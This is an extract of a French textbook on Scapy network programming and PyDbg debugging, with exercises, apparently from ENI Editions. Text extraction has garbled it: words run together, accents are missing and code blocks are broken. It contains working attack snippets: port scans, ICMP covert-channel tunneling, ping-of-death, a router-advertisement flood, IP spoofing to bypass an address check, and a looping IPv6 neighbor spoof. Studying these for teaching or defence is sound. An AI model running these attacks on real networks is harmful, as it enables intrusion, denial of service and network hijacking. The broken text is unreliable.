UDP:0 ICMP:0 Other:0>)
>>>
Nouspouvonsensuitercuprerlersultatpourlegrer :
>>> result,unans=_
>>> result.show()
173.194.34.56:tcp80
1 195.221.189.115 11
2 195.221.189.254 11
3 193.51.250.129 11
4 5 193.51.189.118 11
6 193.51.189.174 11
7 8 193.51.182.197 11
9 72.14.238.234
11
10 11 173.194.34.56
SA
12 173.194.34.56
SA
13 173.194.34.56
SA
14 173.194.34.56
SA
15 173.194.34.56
SA
16 173.194.34.56
SA
17 173.194.34.56
SA
18 173.194.34.56
SA
19 173.194.34.56
SA
20 21 173.194.34.56
SA
22 173.194.34.56
SA
23 173.194.34.56
SA
24 173.194.34.56
SA
25 173.194.34.56
SA
26 173.194.34.56
SA
27 173.194.34.56
SA
28 173.194.34.56
SA
29 173.194.34.56
SA
30 173.194.34.56
SA
- 24 -
193.50.192.166:tcp80
195.221.189.115 11
195.221.189.254 11
192.168.206.2
11
193.50.192.66
11
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
193.50.192.166 SA
90.83.78.130:tcp80
195.221.189.115 11
195.221.189.254 11
193.51.250.129 11
193.51.189.118 11
195.10.54.65
11
195.2.9.58
11
193.251.128.117 11
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
90.83.78.130
SA
Commeavecnimportequelautreobjet,nouspouvons,sinouslesouhaitons,ajouterensuitelesrsultats :
Nousallonsmaintenantnousattardersurdautresfaonsdeffectueruntraceroute.
TCPSYNtraceroute
>>> ans,unans=sr(IP(dst="195.221.189.248",ttl=(1,10))/TCP(dport=53,flags="S"))
Begin emission:
- 25 -
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
S ==>
SA /
S ==>
A /
NouseffectuonsunSYNcarleflagsSestactivdansnotrecommande.
UDPtraceroute
DNStraceroute
>>> ans,unans=traceroute("www.google.fr",l4=UDP(sport=RandShort())/
DNS (qd=DNSQR(qname="test.com")))
Begin emission:
**..Finished to send 30 packets.
.
Received 5 packets, got 2 answers, remaining 28 packets
173.194.34.24:udp53
1 195.221.189.115 11
2 195.221.189.254 11
>>>
- 26 -
b.Sniffing
Nousallonsvoircomment"sniffer"grceScapylestramesrseauafindepouvoirlestudier.
La plupart des rseaux utilisent la technologie de broadcasting, ce qui signifie que chaque paquet quun
ordinateurtransmetsurunrseaupeuttreluparnimportequelordinateursitusurlerseau.
Enpratique,touslesordinateurssaufledestinatairedumessagevontsapercevoirquelemessageneleurest
pas destin et vont donc lignorer. Mais par contre, beaucoup dordinateurs peuvent tre programms pour
regarderchaquemessagequitraverselerseau.
Nous voyons ici que nous pouvons dfinir quelle machine nous voulons "sniffer", combien de paquets nous
voulonsrcuprerparexemple.
Nouspouvonsensuiteregarderledtaildechaquepaquetafindelanalyser.
Nouspouvonsobtenirentempsrellavisualisationdechaquepaquetgrcelacommandecidessous :
- 27 -
fwddelay= 15.0
###[ Padding ]###
load= \x00\x00\x00\x00\x00\x00\x00\x00
###[ Ethernet ]###
dst= 00:0c:85:21:84:2a
src= 00:0c:85:21:84:2a
type= 0x9000
###[ Raw ]###
load= \x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
###[ Ethernet ]###
dst= ff:ff:ff:ff:ff:ff
src= 00:25:b3:1a:26:f9
type= 0x800
Nousvoyonsiciquenouspouvonsbiensrdfinirlinterfacesurlaquellenousvoulonscouter.
TentonslammechosesurlinterfaceWiFi :
Nouspouvonsobtenirlesmotsdepasseenclairgrceauxdeuxcommandessuivantes :
- 28 -
Etenparallle:
c.ScanTCP
Lescandeportestunetechniquedebasequipermetdevrifierquelssontlesportsencoutesurundeses
serveurs.Nousallonsparlasuiteessayerdedtecter lesportsouvertssurunemachineprcisegrceScapy.
>>> res,unans =
sr(IP(dst="195.221.189.248")/TCP(flags="S",dport=(1,100)))
Begin emission:
....***********.***********************.*************************
**********..Finished to send 100 packets.
.................................................................
.............................................
>>> res.nsummary( lfilter=lambda(s,r): (r.haslayer(TCP) and
(r.getlayer(TCP).flags & 2)))
0006 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:echo S
==> IP / TCP 195.221.189.248:echo > 195.221.189.155:ftp_data SA /
Padding
0008 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:discard S
==> IP / TCP 195.221.189.248:discard > 195.221.189.155:ftp_data SA
/ Padding
0012 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:daytime S
==> IP / TCP 195.221.189.248:daytime > 195.221.189.155:ftp_data SA
/ Padding
0018 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:chargen S
==> IP / TCP 195.221.189.248:chargen > 195.221.189.155:ftp_data SA
/ Padding
0020 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ftp S ==>
IP / TCP 195.221.189.248:ftp > 195.221.189.155:ftp_data SA /
Padding
0021 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:ssh S ==>
IP / TCP 195.221.189.248:ssh > 195.221.189.155:ftp_data SA /
Padding
0022 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:telnet S
==> IP / TCP 195.221.189.248:telnet > 195.221.189.155:ftp_data
SA / Padding
0036 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:time S
==> IP / TCP 195.221.189.248:time > 195.221.189.155:ftp_data SA /
Padding
0052 IP / TCP 195.221.189.155:ftp_data > 195.221.189.248:domain S
==> IP / TCP 195.221.189.248:domain > 195.221.189.155:ftp_data
SA / Padding
NousvoyonsparexemplequelesportsFTP,TelnetetSSHsontouvertssurlamachinecible.
d.Tunneling
Letunnelingestunepratiquecourantevisanttransporterunprotocole(etsesdonnes)dansunautre.
NousallonsicieffectuersimplementuntunnelingICMP :
- 29 -
...
...
...
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
.
Sent
>>>
p[IP].id=ord(c)
send(p)
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
1 packets.
Voil,notrephraseatenvoyelettreparlettredansleprotocoleICMP.Riendeplusfacile !
5.Quelquesexemplessimplesen oneliner
a.ACKscan
LeACKscanestdiffrentdesscansvusprcdemmentdanslesensocescannepeutpasdterminersiun
portestouvert.
Le scan ACK nactive que le drapeau ACK des paquets. Les systmes non filtrs ragissent en retournant un
paquetRST,celaestdoncvucommeunportnonfiltrsignifiantquilestaccessibleparunpaquetACKmaissans
savoir silestrellementouvertouferm.Lesportsquinerpondentpasouquirenvoientenretourunmessage
derreurICMPsontconsidrscommefiltrs.
>>> ans,unans=sr(IP(dst="195.221.189.158")/TCP(dport=[80,666],
flags="A "))
Begin emission:
.*Finished to send 2 packets.
*
Received 3 packets, got 2 answers, remaining 0 packets
>>>
>>> for s, r in ans:
...
if s[TCP].dport==r[TCP].sport:
...
print str(s[TCP].dport)+" ne sont pas filtres"
...
80 ne sont pas filtres
666 ne sont pas filtres
>>>
Nousvoyonsdanslacapturedcranlchangedetramesentrelattaquantetlacible:
- 30 -
b.Xmasscan
Ce type de scan exploite une faille de la RFC TCP pour diffrencier les ports ouverts et ferms : si le port de
destinationestdansltatferm,unsegmentnecontenantpasledrapeauRSTprovoquelmissiondunpaquet
RSTcommerponse.
LespaquetsenvoysdesportssansaucundesdrapeauxSYN,RSTouACKactivs,ilfautrpterlesegment.
LescanXmasactivelesdrapeauxFIN,PSHetORG,illuminantlepaquetcommeunarbredeNoldoleXmas.
Doncenenvoyantcepaquet,silepaquetreuestunRST,leportestconsidrcommeferm.Uneabsencede
rponsesignifiequilestouvertoufiltr.
>>> ans,unans=sr(IP(dst="195.221.189.158")/TCP(dport=666,flags="FPU"))
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> for s, r in ans:
...
if s[TCP].dport==r[TCP].sport:
...
print str(s[TCP].dport)+" ne sont pas filtres"
...
666 ne sont pas filtres
>>>
Nousvoyonsdanslacapturedepaquetscidessouslchangedepaquet,dabordlenvoiavecFIN,PSHetORG
activpuisnousvoyonslarceptiondepaquetavecledrapeauRSTactiv.
- 31 -
c.IPscan
LescanduprotocoleIPpermetdedterminerquelsprotocolesIP(TCP,ICMP,IGMP,etc.)sontsupportsparles
cibles.LescandeprotocolefonctionnedefaonsimilaireauscanUDP.Aulieudeparcourirleschampsdenumro
deportsdepaquetsUDP,ilenvoiedespaquetsdenttesIPetparcourtles8bitsduchampprotocoleIP.
>>> ans,unans=sr(IP(dst="195.221.189.158",proto=(0,255))/
"ENI",retry=2)
Aveccettelignedecommande,nouspouvonsnumrerlesprotocolessupports.
d.Lesdiffrentsping
Nous pouvons bien sr utiliser le ping sous ses diffrentes formes afin de tester les htes connects sur le
rseau.
NouspouvonspasserparlesprotocolesARP,IP,ICMP,TCPouencoreUDP.
NousvoyonsicilexempleduTCPping vouspourreztransposercetexempleauxautresprotocoles.
e.Lesattaquesclassiques
Paquetsmalforms
NouspouvonsgalementgrceScapyforgerdespaquetsmalferms,cestdirenecorrespondantpasla
norme(RFC)duprotocoleetce,afindentudierlarponsederetourquipeutnousapporterdesinformations
utiles.
- 32 -
pingdelamort(pingofdeath)
Le "ping de la mort" dsigne un paquet ICMP dont la taille excde les capacits de la machine. Une erreur
srieusepeutdoncendcouler.Danslexemplecidessous,nousessayonsdenvoyer6000X.
>>>send(fragment(IP(dst=195.221.189.158)/ICMP()/(X*60000)))
AttaqueNestea
Lattaque Nestea est une attaque DoS (Denial of Service)quipermetderendreinaccessibleunserveurdistant
parexemple.Nousnetenteronsbiensrcetteattaquequesurunserveurouunemachinenousappartenant.
- 33 -
ScapyetIPv6
1.NotiondIPv6
a.Gnralits
LenombredadressesIPv4disponiblesestlimit4294967296soit232.lpoque,cenombrenesemblait
jamaispouvoirtreatteint.
En1992,cesadressesIPsontouvertesaucommercesurlInternet.
Une anne plus tard, nous assistons au dclenchement du plan durgence car il ny a plus aucune classe B
disponible:
IlyadonccrationdelanotationCIDR,dounediminutiondugaspillagedelespacedadressageet
unediminutiondelatailledestablesderoutage.
OnprocdelacrationetlamiseenplacedunplandadressageprivetduNAT.
Les mesures techniques induisent des contraintes et de nouveaux problmes, les protocoles dynamiques
doivent tre traits indpendamment (ex : FTP) et une couche de scurit est obligatoire pour assurer
lintgritdelaconfidentialit.
UnepremiremouturedelIPv6estproposeen1995pouruneversionfinaleen1998.
Le RIPE annonce la fin de la distribution de lIPv4 en fvrier 2011 (pour lIANA) et la fin de la distribution en
novembrepourlesreprsentantsrgionauxdelIANA.
LIPv6estcodsur128bits(32pourIPv4),ses64bitsdepoidsfortreprsententlerseauetses64bitsde
poidsfaiblereprsententlidentificationdeshtes.
Les adresses sont reprsentes sous la forme de 8 digits hexadcimaux, chaque digit reprsentant 16 bits
sousformehexadcimale.
b.IPv6 :RFC2373
LesadressesIPpeuventscriresouscetteforme :
2001:470:1f14:10b9:0000:0000:0000:2
2001:470:1F14:10b9::2
Lcrituredunensembledezroscontiguspeuttresimplifiemaispasplusdunefoissuruneadresse :
2:0000:0000:0000:2:0000:0000:2
2::2::2=>pasvalide
2::2:0000:0000:2=>valide
2:0000:0000:0000:2::2=>valide
Partierseau
Lesadressessontstructuresselonunmodleditagrg.
- 1-
LanotationutilisepourcaractriserlesagrgatsestlanotationCIDR(RFC 1519).
Avecladresse2001:0db8:ac4d:0001::
2001:0db8:ac4destappelleprfixeet0001lesousrseau.
2001:0db8:ac4d::/48estladressederseaudusite.
Les8bitssuivantspeuventtrecrspourlacrationdesousrseaux.Lesadressessuivantessontvalides:
2001:0db8:ac4d:1010::/52
2001:0db8:ac4d:1010::/54
Partiehte
Elleestcodesur32bits,ellepermetlidentificationdunhtesurlerseau.
Onappellelien(link)unsegmentethernetbordpardesrouteurs.
Lesvoisins(neighbor)sontlesn udssitussurunmmelien.
Lestypesdadresses
Unicast:communicationentredeuxn uds.
Multicast : identifie les n uds appartenant un mme groupe de discussion. Un paquet envoy en
multicastestenvoytouslesn udsappartenantcegroupe.
Anycast : obtenir une adresse dun serveur de faon optimum parmi des serveurs offrant ce mme
service.
Broadcastnexisteplus!
Desprfixesonttrservsdesusagesspcifiques :
2001:0db8::/32=>rservladocumentation(RFC3849).
2002::/16=>prfixederoutagepouruntunnel6to4.
Fe80::/10=>adressedetypelienlocal.
Ff00::/8=>adresseditemulticast.
Fc00::/7=>adresseslocalesuniques,rseauxprivs.
Fd00:/8=>utilisepourlessites(RFC4193).
2.Application
a.RequteICMPIPv6
Nousallonseffectuer,grceScapy,unsimplepingcommenousavionspulefaireenIPv4maisbiensrcette
foiscienIPv6.
>>>i=IPv6()
>>>i.dst="2001:db8:dead::1"
- 2-
>>>q=ICMPv6EchoRequest()
>>>p=(i/q)
>>>sr1(p)
b.RoutagedepaquetsIPv6
Leroutageestleprocessusdetransmissiondepaquetsentredessegmentsrseau connects.Danslecasde
lIPv6,leroutageestlapartiequiassurelatransmissionentredeshtesappartenantdessegmentsrseau
distincts. Le routage est la fonction principale dIPv6. Les paquets IPv6 sont changs et traits sur chaque
hteparlebiaisdIPv6surlacoucheInternet.
Les services de transport de lhte source transmettent les donnes sous la forme de segments TCP ou de
messages UDP la couche IPv6 infrieure. La couche IPv6 cre des paquets IPv6 partir des informations
dadressessourceetdedestinationpermettantderouterlesdonnesvialerseau.LacoucheIPv6transmet
ensuitelespaquetslacoucheliaisoninfrieure,olespaquetsIPv6sontconvertisentramesenvuedeleur
transmissionviaunsupportderseauphysique.
>>>i=IPv6()
>>>i.dst="2001:db8:dead::1"
>>>h=IPv6ExtHdrRouting()
>>>h.addresses=["2001:db8:dead::1","2001:db8:dead::1",
"2001:db8:de ad::1"]
>>>p=ICMPv6EchoRequest()
>>>pa=(i/h/p)
c.ExemplederoutagedeHeader
Le "routing header" (de type 0) est une fonctionnalit qui permet la source dunpaquetdechoisirtoutou
partie de son chemin vers sa destination qui avait t bannie des rseaux IPv4 du fait des problmes de
scurit que son implmentation posait. Le but est de faire acheminer un paquet de la source vers la
destinationenpassantparplusieursrouteurstransits.
>>>a = sr1(IPv6(dst="2001:4f8:4:7:2e0:81ff:fe52:9a6b")/
IPv6ExtHdrRouting( addresses=["2001:78:1:32::1","2001:20:82:203:fea5:385"])
ICMPv6Echo
Request(data=RandString(7)), verbose=0)
>>>a.src
d.traceroute
traceroute est un outil de diagnostic des rseaux permettant de dterminer le chemin suivi par un paquet.
NousallonssimplementavecScapyetpourlIPv6recrercettefonction.
>>>waypoint = "2001:301:0:8002:203:47ff:fea5:3085"
>>>target = "2001:5f9:4:7:2e0:81ff:fe52:9a6b"
>>>traceroute6(waypoint,minttl=15,maxttl=34,l4=IPv6ExtHdrRouting
(addresses=[target])/ICMPv6EchoRequest(data=RandString(7)))
e.IPv6NA
NousallonsvoirdanscettepartiedeuxfaonsdecrerdespaquetsIPv6NA(version1etversion2).IPv6NA
(NeighborAdvertisements)sontprincipalementenvoysenrponseunmessageNS(NeighborSollicitation).Un
messageNApeuttreenvoyquanduneadresseachang.LemessageNAestenvoycommeuneNAnon
sollicitepouravertirdunenouvelleadresse.
- 3-
Version1
>>>sendp(Ether()/IPv6()/ICMPv6ND_RA()ICMPv6NDOptPrefixInfo(prefix=
"2001:db8:cafe:deca::",
prefixlen=64)/ICMPv6NDOptSrcLLAddr(lladdr="00:b0:de:ad:be:ef"),
loop=1, inter=3)
Version2
f.Avertissementdedaemontus
Un temps de vie de 0 (lifetime= 0) indique que le routeur nest pas le routeur par dfaut et ne doit pas
apparatredanslalistedesrouteurspardfaut.
VoicidonclemoyendetestercelagrceScapy.
>>>send(IPv6(src=server)/ICMPv6ND_RA(routerlifetime=0), loop=1,
inter=1)
g.Exemple
VoiciunexemplequipermetdeffectuerunerequtedenomsenpartantdunelistedadressesIPv6:
>>>someaddr=["2001:6c8:6:4::7", "2001:500::1035",
"2001:1ba0:0:4::1",
"2001:2f0:104:1:2e0:18ff:fea8:16f5",
"2001:e40:100:207::2",
"2001:7f8:2:1::18", "2001:4f8:0:2::e",
"2001:4f8:0:2::d"]
>>>for addr in someaddr:
...
a = sr1(IPv6(dst=addr)/ICMPv6NIQueryName(data=addr),
verbose=0)
...
print a.sprintf( "%-35s,src%: %data%")
- 4-
Conclusion
NousvenonsdedcouvrirlesprincipalesfonctionnalitsdeScapy.Ilenexistebiendautresetsivoussouhaitez
approfondirvosconnaissances,vouspourreztrouversurleNetdesdocumentations,desexemplesdutilisation.
SeulevotreimaginationpourravousbriderdanslutilisationdeScapy,cestunoutilpuissant,pleinderessources,
etseulesonutilisationfrquentevouspermettra denmatriserlesmandres.
- 1-
Miseenpratique
1.CanalcachIP
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquiutiliseuncanalcachIP.
nonc:
UncanalcachIP(covertchannelIP)estuncanaldecommunicationentredeuxordinateursquiutiliselabande
passante dun autre canal dans lobjectif de transmettre des informations sans lautorisation ou la
connaissancedupropritaire delinformationoudeladministrateurdurseau.
GrceScapy,ralisezcescriptPython.
b.Correction
chap2_exo2.py
#!/usr/bin/env python
# -*- coding: iso-8859-15 -*from scapy.all import *
conf.verb=0
def traitePaquet(p):
if p[IP].ttl > 230:
print ""
sys.exit(0)
sys.stdout.write(chr(p[IP].id))
sniff(
filter = "icmp and src //@victim//",
lfilter = lambda p: p.haslayer(ICMP) and p[IP].id < 256,
prn = traitePaquet,
#}Pour le traitement en live
store = 0,
#}
)
2.DtectiondeRogueAP
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquidtectelaprsencedunrogueAPdansnotrerseau.
nonc:
CrezunscriptPythonutilisantScapyquivavouspermettrededtectersiunrogueAPestprsentsurvotre
rseau.
ENI Editions - All rights reserved - chantal gournier
- 1-
LafailledescuritditeRogueAPestlaplusredouteenentreprise(noustraduironsrogueparindsirableici).
Ellesurvientquandunutilisateurdurseau,parcommoditauniveaudesesbureauxparexemple,connecte
unAPsurlapriseEthernetmurale,luipermettantdavoirunecertainemobilitavecsonordinateurlintrieur
de la cellule ainsi cre. Ces installations pirates, pas ncessairement malveillantes, sont particulirement
dangereusesparcequellesouvrentlerseaudelentrepriseaumondeWiFi,gnralementavecunniveaude
scurit extrmement minime (authentification rduite de type WEP avec une cl de 40 bits, pas de Firewall,
pasdIDS,pasdedtectiondetentativedattaques,etc.).Danslepiredescas,lordinateur peut fonctionner
commeunpont,crantunWirelessBridge:unlien"ouvert"entrelerseauWiFietlerseaulocalcbl.
b.Correction
>>>conf.checkIPaddr=False
>>>fam,hw=get_if_raw_hwaddr(conf.iface)
>>>dhcp_discover=Ether(dst=ff:ff:ff:ff:ff:ff)/IP(src=0.0.0.0,
dst=255.255.255.255)
>>>ans,unans=srp(dhcp_discover,multi=true)
Begin emission:
Finished to send 1 packets.
...................................................................
................C
received 16 paquets, got 1 answers, remaining 0 packets
>>>ans.summary()
Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP /
DHCP ==> Ether / IP
NousvoulonsjusteladresseMACetladresseIPcorrespondante:
>>>for p in ans:
...
print p[1][Ether].src,p[1][IP].src
...
00:FE:E8:AF:EF:01 192.168.1.1
3.IPSpoofing
a.nonc
Prrequis:Python,Scapy,notionderseau
But:raliserunscriptPythonquipermetdeffectuerunIPspoofing.
nonc:
Soitleserveurcidessous :
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host =
port = 4000
s.bind((host,port))
while 1:
s.listen(1)
conn, addr = s.accept()
if(addr[0]=="195.221.189.111"):
print "ok"
else:
print "nok";
- 2-
conn.close()
crivezunscriptquifassepasservotremachinepouruneautre.
b.Correction
ipServer=195.221.189.155;
ipFake=195.221.189.111;
conf.verb=0
conf.iface=eth0 # eth0 est ma carte reseau
myether = 00:26:b6:31:b7:12 # MAC eth0
gwether = 00:0c:f6:31:2d:df # MAC du routeur
dst=gwether
packet=Ether(src=myether,dst=gwether)/IP(dst=ipServer,src=ipFake)/
TCP(sport=RandShort(),dport=4000,flags=S);
sendp(packet);
4.SpoofingIPv6desvoisins
a.nonc
Prrequis:Python,Scapy,notionderseauetdIPv6
But:raliserunscriptPythonquipermetdeffectuerunspoofingIPv6.
nonc:
FabriquezvotreproprescriptPythonqui"spoofe"(IPv6)lesvoisins.
b.Correction
>>> ls(Ether)
dst
: DestMACField
= (None)
src
: SourceMACField
= (None)
type
: XShortEnumField
= (0)
>>> ether=(Ether(dst=00:00:00:00:00:0b,
src=00:00:00:00:00:0c))
>>> ls(IPv6)
version
: BitField
= (6)
tc
: BitField
= (0)
fl
: BitField
= (0)
plen
: ShortField
= (None)
nh
: ByteEnumField
= (59)
hlim
: ByteField
= (64)
src
: SourceIP6Field
= (None)
dst
: IP6Field
= (::1)
>>> ipv6=IPv6(src=fe80::1, dst=fe80::2)
>>> ls(ICMPv6ND_NA)
type
: ByteEnumField
= (136)
code
: ByteField
= (0)
cksum
: XShortField
= (None)
R
: BitField
= (1)
S
: BitField
= (0)
O
: BitField
= (1)
res
: XBitField
= (0)
tgt
: IP6Field
= (::)
>>> na=ICMPv6ND_NA(tgt=fe80::1, R=0)
>>> ls(ICMPv6NDOptDstLLAddr)
ENI Editions - All rights reserved - chantal gournier
- 3-
type
: ByteField
= (2)
len
: ByteField
= (1)
lladdr
: MACField
= (00:00:00:00:00:00)
>>> lla=ICMPv6NDOptDstLLAddr(lladdr=00:00:00:00:00:0c)
>>> (ether/ipv6/na/lla).display()
###[ Ethernet ]###
dst= 00:00:00:00:00:0b
src= 00:00:00:00:00:0c
type= 0x86dd
###[ IPv6 ]###
version= 6
tc= 0
fl= 0
plen= None
nh= ICMPv6
hlim= 255
src= fe80::1
dst= fe80::2
###[ ICMPv6 Neighbor Discovery - Neighbor Advertisement ]###
type= Neighbor Advertisement
code= 0
cksum= None
R= 0
S= 0
O= 1
res= 0x0
tgt= fe80::1
###[ ICMPv6 Neighbor Discovery Option - Destination Link-Layer
Address ]###
type= 2
len= 1
lladdr= 00:00:00:00:00:0c
>>> sendp(ether/ipv6/na/lla, iface=br0, loop=1, inter=5)
- 4-
Introduction
Dans ce chapitre, nous allons utiliser PyDbg inspir du livre Gray Hat Python de Justin Seitz, chapitre 4. Nous
sommesdanslalimiteduHackingetduForensic.PyDbgvanousaiderpisterlesdonnesdanslesprogrammes,
dbuggermaisaussieffectuerdufuzzing,duhookdapplication...
NoustravailleronsdoncicisousWindowsetpourmapart,sousLinux,jutiliseraiunemachinevirtuelleVirtualbox
pourcrireettesterlesexercicesetexemplesdecechapitre.
UneconnaissancepralabledessystmesWindows,delassembleuretbiensrdePythonestrequise.
Nousdevonssavoirassocierledebuggerunprocessussoitenouvrantlexcutableetenlelanantensuite,soit
enlattachant(lexcutableestdjlanc).
Nous allons attacher le processus quand cela nous permettra de ne pas prendre en compte le dmarrage de
lapplicationetdenousfocalisersurunepartieducodespcifique.
Lorsquenousouvrironsleprogrammedansledebbugger,nouscontrleronsleprocessusdsledmarrage,nous
pourronsdoncvoircequiestchargparexemple,cequiesttrsutilelorsdanalysedemalwaresouvirus.
- 1-
Premireapproche
CommentcrerunprocessussousWindowsdansundebugger ?
LafonctionsappelleCreateProcessA(),laquellenouspouvonstransmettre desparamtres.
Nous pourrons trouver sur le Net, et en particulier sur le site de MSDN, des dtails sur cette fonction si nous le
souhaitons.
Nousneverronsiciquelesparamtrestransmettrequinousserontutilespourlasuite.
Lesparamtresutilisssont :
lpApplicationName
lpCommandLine
dwCreationFlags
lpStartupInfo
lpProcessInformation
LesautresparamtrespourronttremisNULL.
Lesdeuxpremiersparamtresvontnouspermettrededonnerlechemindelapplicationetlescommandeslui
passer(enlignedecommande)sincessaire.
dwCreationFlagsnousserviraindiquerauprocessusquildevradmarreravecledebugger(enmodedebug
donc) et les deux derniers paramtres sont des pointeurs sur des structures ( STARTUPINFO et
PROCESS_INFORMA-TION)quidterminerontlafaondontleprocessusdevradmarreretnousdonnerades
informationsaprsledmarrageduprocessus.
NousallonsdonccrerenPythontroisprogrammes,unscriptquivadfinirlesdeuxstructuresdontnousavons
parlcidessus(mes_definitions_debugger.py),unscriptquiseraledebugger(mon_debugger.py)etunscriptde
testpourvrifierlebonfonctionnementdesdeuxscriptsprcdents.
mes_definitions_debugger.py
- 1-
("dwFlags",DWORD),
("wShowWindow",WORD),
("cbReserved2",WORD),
("lpReserved2",LPBYTE),
("hStdInout",HANDLE),
("hStdOutput",HANDLE),
("hStdError",HANDLE)
]
class PROCESS_INFORMATION(Structure):
_fields_=[
("hProcess",HANDLE),
("hThread",HANDLE),
("dwProcessId",DWORD),
("dwThreadId",DWORD)
]
mon_debugger.py
mon_test.py
import mon_debugger
debugger=mon_debugger.debugger()
debugger.load("C:\\WINDOWS\system32\\calc.exe")
Nousneverronspasicilafentredecalc.exeapparatre,carlapplicationnelapasconstruitelcran.Eneffet,
elleattenddudebuggerlapermissiondecontinuerlexcution.
Mais nous allons procder par tapes et voir maintenant comment attacher un processus au debugger, le
processustantdoncencoursdexcution.
- 2-
Ilvanousfalloirrcuprerlehandle(lentte)duprocessusluimme.
LafonctionOpenProcess(),contenuedanskernel32.dll,vanouspermettredevrifierquenousavonsaccs
ceprocessus.
Le paramtre dwDesiredAccess indique le type de droit daccs que nous dsirons. Dans notre cas, le
dbogage,nousluiattribueronsPROCESS_ALL_ACCESS.
LeparamtrebInheritHandledevratoujourstremisFalsedansnotrecas.
LeparamtredwProcessIdcontiendrabienvidemmentlePIDduprocessus.
Nousattacheronsleprocessusgrcelafonction DebugActiveProcess()laquellenousdonneronscomme
paramtrelePIDdenotreprocessus.
Nous devrons ensuite attendre un vnement afin de commencer le dbogage et ce grce la fonction
WaitForDebugEvent().
Lepremierparamtre, lpDebugEvent,seraunpointeursurlastructure DEBUG_EVENT,lesecondparamtre,
dwMilliseconds, sera configur INFINITE, ce qui permettra la fonction de ne revenir que quand un
vnementauralieu.
Pourchaquevnementquelafonctioncapturera,desenttesserontassocisquidterminerontletypedaction
effectueravantdecontinuerlexcutionduprocessus.
NousutiliseronsdonclafonctionContinueDebugEvent()cesfins.Cellecidemandetroisarguments.
Les deux premiers,
vnement.
dwProcessId
et
dwThreadId,
faudra
ensuite
pouvoir
se
dtacher
du
processus,
nous
utiliserons
pour
cela
la
fonction
DebugActiveProcessStop()quiprendlePIDduprocessuscommeargument.
Lescriptmes_definitions_debugger_final.pyesttlchargeablesurlesitedesditionsENIetcompltenfonction
desbesoinsdecechapitre.Ilestaisdelemodifieretdelecompltersincessaire.
CescriptestcritparJustinSeitzetestprsentsoussaformeoriginale.
mes_definitions_debugger_final.py
# Constants
DEBUG_PROCESS
CREATE_NEW_CONSOLE
PROCESS_ALL_ACCESS
= 0x00000001
= 0x00000010
= 0x001F0FFF
- 3-
INFINITE
DBG_CONTINUE
= 0xFFFFFFFF
= 0x00010002
=
=
=
=
=
=
=
=
=
0x1
0x2
0x3
0x4
0x5
0x6
0x7
0x8
0x9
=
=
=
=
0xC0000005
0x80000003
0x80000001
0x80000004
= 0x00000040
- 4-
("dwFillAttribute",
("dwFlags",
("wShowWindow",
("cbReserved2",
("lpReserved2",
("hStdInput",
("hStdOutput",
("hStdError",
]
DWORD),
DWORD),
WORD),
WORD),
LPBYTE),
HANDLE),
HANDLE),
HANDLE),
DWORD),
DWORD),
POINTER(EXCEPTION_RECORD)),
PVOID),
DWORD),
UINT_PTR * 15),
class _EXCEPTION_RECORD(Structure):
_fields_ = [
("ExceptionCode",
DWORD),
("ExceptionFlags",
DWORD),
("ExceptionRecord",
POINTER(EXCEPTION_RECORD)),
("ExceptionAddress",
PVOID),
("NumberParameters",
DWORD),
("ExceptionInformation", UINT_PTR * 15),
]
# Exceptions
class EXCEPTION_DEBUG_INFO(Structure):
_fields_ = [
("ExceptionRecord",
EXCEPTION_RECORD),
("dwFirstChance",
DWORD),
]
# it populates this union appropriately
class DEBUG_EVENT_UNION(Union):
_fields_ = [
("Exception",
EXCEPTION_DEBUG_INFO),
#
("CreateThread",
CREATE_THREAD_DEBUG_INFO),
#
("CreateProcessInfo", CREATE_PROCESS_DEBUG_INFO),
#
("ExitThread",
EXIT_THREAD_DEBUG_INFO),
#
("ExitProcess",
EXIT_PROCESS_DEBUG_INFO),
#
("LoadDll",
LOAD_DLL_DEBUG_INFO),
#
("UnloadDll",
UNLOAD_DLL_DEBUG_INFO),
#
("DebugString",
OUTPUT_DEBUG_STRING_INFO),
#
("RipInfo",
RIP_INFO),
]
# DEBUG_EVENT describes a debugging event
# that the debugger has trapped
class DEBUG_EVENT(Structure):
_fields_ = [
("dwDebugEventCode", DWORD),
("dwProcessId",
DWORD),
- 5-
("dwThreadId",
("u",
]
DWORD),
DEBUG_EVENT_UNION),
- 6-
Nousallonsdoncpouvoirmaintenantcomplterlescriptmon_debugger.pypourtestercesnouvellesmodifications
